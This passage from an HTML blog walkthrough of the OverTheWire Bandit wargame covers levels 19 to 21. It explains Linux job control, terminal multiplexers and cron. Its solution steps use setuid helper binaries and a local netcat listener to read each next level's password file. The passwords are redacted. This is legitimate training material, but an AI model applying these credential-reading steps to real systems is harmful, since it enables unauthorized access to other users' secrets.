&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;uid=11019(bandit19) gid=11019(bandit19) euid=11020(bandit20) groups=11019(bandit19)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;See how it differs from running the plain &lt;code&gt;id&lt;&#x2F;code&gt; command run as the &lt;code&gt;bandit19&lt;&#x2F;code&gt; user.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ id&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;uid=11019(bandit19) gid=11019(bandit19) groups=11019(bandit19)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;An additional item is returned from the &lt;code&gt;bandit20-do&lt;&#x2F;code&gt; invocation, the &lt;em&gt;effective&lt;&#x2F;em&gt; user ID &lt;code&gt;euid=11020(bandit20)&lt;&#x2F;code&gt;. This indicates that the commands run via &lt;code&gt;bandit20-d0&lt;&#x2F;code&gt; should be able to access files available to the &lt;code&gt;bandit20&lt;&#x2F;code&gt; user. Which includes the password file.&lt;&#x2F;p&gt;
&lt;p&gt;As long as we know its location which was provided as &lt;code&gt;&#x2F;etc&#x2F;bandit_pass&#x2F;bandit20&lt;&#x2F;code&gt; we can simply output the file. So, solving this challenge is actually quite simple. Execute a &lt;code&gt;cat&lt;&#x2F;code&gt; command with the password file as an argument via the &lt;code&gt;bandit20-do&lt;&#x2F;code&gt; binary like so:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ .&#x2F;bandit20-do cat &#x2F;etc&#x2F;bandit_pass&#x2F;bandit20&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[REDACTED BANDIT 20 PASSWORD]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h3 id=&quot;level-20&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#level-20&quot; aria-label=&quot;Anchor link for: level-20&quot;&gt;Level 20&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;There is a setuid binary in the homedirectory that does the following: it makes a connection to localhost on the port you specify as a commandline argument. It then reads a line of text from the connection and compares it to the password in the previous level (bandit20). If the password is correct, it will transmit the password for the next level (bandit21).&lt;&#x2F;p&gt;
&lt;p&gt;NOTE: Try connecting to your own network daemon to see if it works as you think&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h4 id=&quot;useful-commands-4&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#useful-commands-4&quot; aria-label=&quot;Anchor link for: useful-commands-4&quot;&gt;Useful commands 4&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;This challenge recommends some new commands that we haven’t seen so far.&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Command&lt;&#x2F;th&gt;&lt;th&gt;Description&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;manpages.ubuntu.com&#x2F;manpages&#x2F;noble&#x2F;man1&#x2F;screen.1.html&quot;&gt;screen&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;td&gt;a terminal multiplexer&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;manpages.ubuntu.com&#x2F;manpages&#x2F;noble&#x2F;man1&#x2F;tmux.1.html&quot;&gt;tmux&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;td&gt;a terminal multiplexer&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.man7.org&#x2F;linux&#x2F;man-pages&#x2F;man1&#x2F;jobs.1p.html&quot;&gt;jobs&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;td&gt;display the status of all jobs in the current session&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.man7.org&#x2F;linux&#x2F;man-pages&#x2F;man1&#x2F;bg.1p.html&quot;&gt;bg&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;td&gt;send a running job to the background&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.man7.org&#x2F;linux&#x2F;man-pages&#x2F;man1&#x2F;fg.1p.html&quot;&gt;fg&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;td&gt;bring a backgrounded job to the foreground&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;These programs introduce some new concepts that are pretty important for anyone working on Linux system whether as a user or an administrator. Let’s briefly go over them.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;job-control&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#job-control&quot; aria-label=&quot;Anchor link for: job-control&quot;&gt;Job control&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;You can read more about it in the &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.gnu.org&#x2F;software&#x2F;bash&#x2F;manual&#x2F;html_node&#x2F;Job-Control.html&quot;&gt;Job Control section&lt;&#x2F;a&gt; of the &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.gnu.org&#x2F;software&#x2F;bash&#x2F;manual&#x2F;html_node&#x2F;index.html&quot;&gt;Bash Reference Manual&lt;&#x2F;a&gt;. But, to summarize, job control, is a system for suspending and resuming processes and allowing them to run in the &lt;em&gt;background&lt;&#x2F;em&gt; such that the user can continue executing other commands without waiting for previous commands to complete.&lt;&#x2F;p&gt;
&lt;p&gt;To interact with the job control system, we have a few tools including: the &lt;code&gt;jobs&lt;&#x2F;code&gt;, &lt;code&gt;bg&lt;&#x2F;code&gt;, and &lt;code&gt;fg&lt;&#x2F;code&gt; commands as well as the &lt;code&gt;&amp;amp;&lt;&#x2F;code&gt; character, and the &lt;kbd&gt;Ctrl+Z&lt;&#x2F;kbd&gt; keyboard shortcut which you may see referred to as the suspend character or &lt;code&gt;^Z&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;We generally use two methods to run a program in the &lt;em&gt;background&lt;&#x2F;em&gt;. The first is to execute a command with an &lt;code&gt;&amp;amp;&lt;&#x2F;code&gt; at the end of the line.&lt;&#x2F;p&gt;
&lt;p&gt;For example&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ cat - &amp;amp;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[1] 1809443&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The &lt;code&gt;cat&lt;&#x2F;code&gt; process has been added to the jobs list and is now in the background.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ jobs&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[1]+  Stopped                 cat -&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;As you can see when listing the available jobs, the command has been &lt;em&gt;Stopped&lt;&#x2F;em&gt; which indicates that is has been suspended and is no longer running. However, we can bring this process back to the foreground so that we can interact with it again using the &lt;code&gt;fg&lt;&#x2F;code&gt; command.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ fg&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;cat -&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;hello&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;hello&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Besides starting a command with the &lt;code&gt;&amp;amp;&lt;&#x2F;code&gt;, we can also use the &lt;kbd&gt;Ctrl+Z&lt;&#x2F;kbd&gt; keyboard shortcut to send an already running process to the background. Let’s send the &lt;code&gt;cat&lt;&#x2F;code&gt; process to the background once again.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;^Z&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[1]+  Stopped                 cat -&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ jobs&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[1]+  Stopped                 cat -&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;You can see here we’ve once again stopped the process running &lt;code&gt;cat&lt;&#x2F;code&gt; and returned it to the background. The &lt;code&gt;^Z&lt;&#x2F;code&gt; indicates the pressing of &lt;kbd&gt;Ctrl+Z&lt;&#x2F;kbd&gt;. Be aware though, that backgrounding a process in this manner will also stop the process. To let it continue running in that background you must use the &lt;code&gt;bg&lt;&#x2F;code&gt; command.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ bg %1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[1]+ cat - &amp;amp;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[1]+  Stopped                 cat -&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Here we used what’s known as a job specification or job spec to identify the job with a &lt;code&gt;%&lt;&#x2F;code&gt; followed by the ID of 1 which you may need to do if you have several backgrounded jobs. In this little example, since the &lt;code&gt;cat&lt;&#x2F;code&gt; process is awaiting user input, it’s immediately stopped again after telling it to run in the background. However, a longer running process would continue until the program exits or is awaiting more user input.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;terminal-multiplexing&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#terminal-multiplexing&quot; aria-label=&quot;Anchor link for: terminal-multiplexing&quot;&gt;Terminal multiplexing&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;Both &lt;code&gt;tmux&lt;&#x2F;code&gt; and &lt;code&gt;screen&lt;&#x2F;code&gt; are terminal multiplexers. Which just means they can display multiple terminals within a single window. They allow you to split these windows as needed and can allow grouping terminals, copying and pasting etc. This can all be done from the command line with these tool, which is why they’re useful when working over a remote SSH session.&lt;&#x2F;p&gt;
&lt;p&gt;There are also GUI-based alternatives. Terminal emulators like &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;gnome-terminator.org&quot;&gt;Terminator&lt;&#x2F;a&gt;, &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;konsole.kde.org&quot;&gt;Konsole&lt;&#x2F;a&gt;, and even &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;microsoft&#x2F;terminal&quot;&gt;Windows Terminal&lt;&#x2F;a&gt; ship with multiplexing features, but I won’t go into too much detail here. I recommend you try out whichever ones work for your system and see what you like best. Just know that only the terminal-based multiplexers like &lt;code&gt;tmux&lt;&#x2F;code&gt; and &lt;code&gt;screen&lt;&#x2F;code&gt; will enable you to use multiple terminals on a remote system without initiating an additional SSH session.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;solution&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#solution&quot; aria-label=&quot;Anchor link for: solution&quot;&gt;Solution&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;This challenge provides another &lt;code&gt;setuid&lt;&#x2F;code&gt; binary, just how &lt;a href=&quot;https:&#x2F;&#x2F;www.cblanken.dev&#x2F;blog&#x2F;overthewirebandit&#x2F;#level-19&quot;&gt;Level 19&lt;&#x2F;a&gt; did. Checking the permissions shows that this binary also has the &lt;code&gt;suid&lt;&#x2F;code&gt; bit set with an owner of &lt;code&gt;bandit21&lt;&#x2F;code&gt;, so it should be able to read the &lt;code&gt;bandit21&lt;&#x2F;code&gt; password file for us in some way.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ ls -l&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;total 16&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;-rwsr-x--- 1 bandit21 bandit20 15608 Apr 10 14:23 suconnect&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;First off, let’s check the usage information for &lt;code&gt;suconnect&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ .&#x2F;suconnect&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Usage: .&#x2F;suconnect &amp;lt;portnumber&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;This program will connect to the given port on localhost using TCP. If it receives the correct password from the other side, the next password is transmitted back.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;For this walkthrough we’ll use the job control method.&lt;&#x2F;p&gt;
&lt;p&gt;First, we need to setup a TCP listener on a high port&lt;sup class=&quot;footnote-reference&quot; id=&quot;fr-3-1&quot;&gt;&lt;a href=&quot;#fn-3&quot;&gt;3&lt;&#x2F;a&gt;&lt;&#x2F;sup&gt; for the &lt;code&gt;suconnect&lt;&#x2F;code&gt; binary to connect to. The simplest way to do this is with the &lt;code&gt;netcat&lt;&#x2F;code&gt; utility which we’ve &lt;a href=&quot;https:&#x2F;&#x2F;www.cblanken.dev&#x2F;blog&#x2F;overthewirebandit&#x2F;#level-14&quot;&gt;used before&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Here we run netcat in listening mode and specify port &lt;code&gt;9898&lt;&#x2F;code&gt;, but importantly we’ve provided the &lt;code&gt;&amp;amp;&lt;&#x2F;code&gt; at the end of the line to send the process to the background.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ nc -l -p 9898 &amp;amp;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[1] 744373&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Running the &lt;code&gt;jobs&lt;&#x2F;code&gt; command will list the active jobs which now includes the &lt;code&gt;netcat&lt;&#x2F;code&gt; command we just launched. As you can see it’s still running since it’s awaiting a connection.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ jobs&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[1]+  Running                 nc -l -p 9898 &amp;amp;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Next we need to run the &lt;code&gt;suconnect&lt;&#x2F;code&gt; binary and connect to the same port, &lt;code&gt;9898&lt;&#x2F;code&gt;. We also execute this command as a background job.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ .&#x2F;suconnect 9898 &amp;amp;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[2] 913657&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The jobs list now contains both of our programs running in the background.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ jobs&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[1]+  Stopped                 nc -l -p 9898&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[2]-  Running                 .&#x2F;suconnect 9898 &amp;amp;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;You can see that the &lt;code&gt;netcat&lt;&#x2F;code&gt; command has been stopped, but we can start it again by bringing it into the foreground with the &lt;code&gt;fg&lt;&#x2F;code&gt; command to interact with it. Note that since the &lt;code&gt;netcat&lt;&#x2F;code&gt; job has the &lt;code&gt;+&lt;&#x2F;code&gt; indicator it will be selected by default, but we can also specify the specific job to bring to the foreground with it’s job number.&lt;&#x2F;p&gt;
&lt;p&gt;Once you bring the &lt;code&gt;netcat&lt;&#x2F;code&gt; job to the foreground, the terminal will once again be awaiting input. Provide the level 20 password as the prompt informed us.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ fg %1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;nc -l -p 9898&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[REDACTED LEVEL 20 PASSWORD]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Read: [REDACTED LEVEL 20 PASSWORD]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot; style=&quot;background-color: light-dark(#EBDBB260, #393836);&quot;&gt;&lt;span&gt;Password matches, sending next password&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot; style=&quot;background-color: light-dark(#EBDBB260, #393836);&quot;&gt;&lt;span&gt;[REDACTED LEVEL 21 Password]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[2]+  Done                    .&#x2F;suconnect 9898&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;As you can see, &lt;code&gt;suconnect&lt;&#x2F;code&gt; accepted the level 20 password and replied with the password for level 21. We can also see that the job for &lt;code&gt;suconnect&lt;&#x2F;code&gt; completed and exited normally by the &lt;code&gt;Done&lt;&#x2F;code&gt; response in the final line.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;level-21&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#level-21&quot; aria-label=&quot;Anchor link for: level-21&quot;&gt;Level 21&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;A program is running automatically at regular intervals from &lt;code&gt;cron&lt;&#x2F;code&gt;, the time-based job scheduler. Look in &lt;code&gt;&#x2F;etc&#x2F;cron.d&#x2F;&lt;&#x2F;code&gt; for the configuration and see what command is being executed.&lt;&#x2F;p&gt;
&lt;p&gt;The prompt also recommends some useful manpages.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;cron&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#cron&quot; aria-label=&quot;Anchor link for: cron&quot;&gt;Cron&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Manpage&lt;&#x2F;th&gt;&lt;th&gt;Description&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;kbd&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.man7.org&#x2F;linux&#x2F;man-pages&#x2F;man8&#x2F;cron.8.html&quot;&gt;cron(8)&lt;&#x2F;a&gt;&lt;&#x2F;kbd&gt;&lt;&#x2F;td&gt;&lt;td&gt;system for scheduling commands&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;kbd&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;man7.org&#x2F;linux&#x2F;man-pages&#x2F;man1&#x2F;crontab.1.html&quot;&gt;crontab(1)&lt;&#x2F;a&gt;&lt;&#x2F;kbd&gt;&lt;&#x2F;td&gt;&lt;td&gt;manage crontab files for a user&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;kbd&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;man7.org&#x2F;linux&#x2F;man-pages&#x2F;man5&#x2F;crontab.5.html&quot;&gt;crontab(5)&lt;&#x2F;a&gt;&lt;&#x2F;kbd&gt;&lt;&#x2F;td&gt;&lt;td&gt;crontab file format and syntax&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;Cron is a system for executing commands at regular intervals. This is a very common task for system administrators. Whether a task involves performing regular backups of data or generate reports automatically.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;crontab.guru&quot;&gt;Contab guru&lt;&#x2F;a&gt; is a convenient tool to parse crontabs if you’re unfamiliar with the syntax or want to verify the correctness of your own crontabs.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;solution-1&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#solution-1&quot; aria-label=&quot;Anchor link for: solution-1&quot;&gt;Solution&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;The prompt points us to the configuration files in &lt;code&gt;&#x2F;etc&#x2F;cron.d&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ ls -l&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;total 28&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;-rw-r--r-- 1 root root 123 Apr 10 14:16 clean_tmp&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;-rw-r--r-- 1 root root 120 Apr 10 14:23 cronjob_bandit22&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;-rw-r--r-- 1 root root 122 Apr 10 14:23 cronjob_bandit23&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;-rw-r--r-- 1 root root 120 Apr 10 14:23 cronjob_bandit24&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;-rw-r--r-- 1 root root 201 Apr  8  2024 e2scrub_all&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;-rwx------ 1 root root  52 Apr 10 14:24 otw-tmp-dir&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;-rw-r--r-- 1 root root 396 Jan  9  2024 sysstat&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Checking the contents of the &lt;code&gt;cronjob_bandit22&lt;&#x2F;code&gt; file reveals a specification for two cron jobs.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;@reboot bandit22 &#x2F;usr&#x2F;bin&#x2F;cronjob_bandit22.sh &amp;amp;&amp;gt; &#x2F;dev&#x2F;null&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;* * * * * bandit22 &#x2F;usr&#x2F;bin&#x2F;cronjob_bandit22.sh &amp;amp;&amp;gt; &#x2F;dev&#x2F;null&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The first line runs the &lt;code&gt;cronjob_bandit22.sh&lt;&#x2F;code&gt; script at boot time, and the second line runs the same script every minute.&lt;&#x2F;p&gt;
&lt;p&gt;Let’s see what that script does.&lt;&#x2F;p&gt;
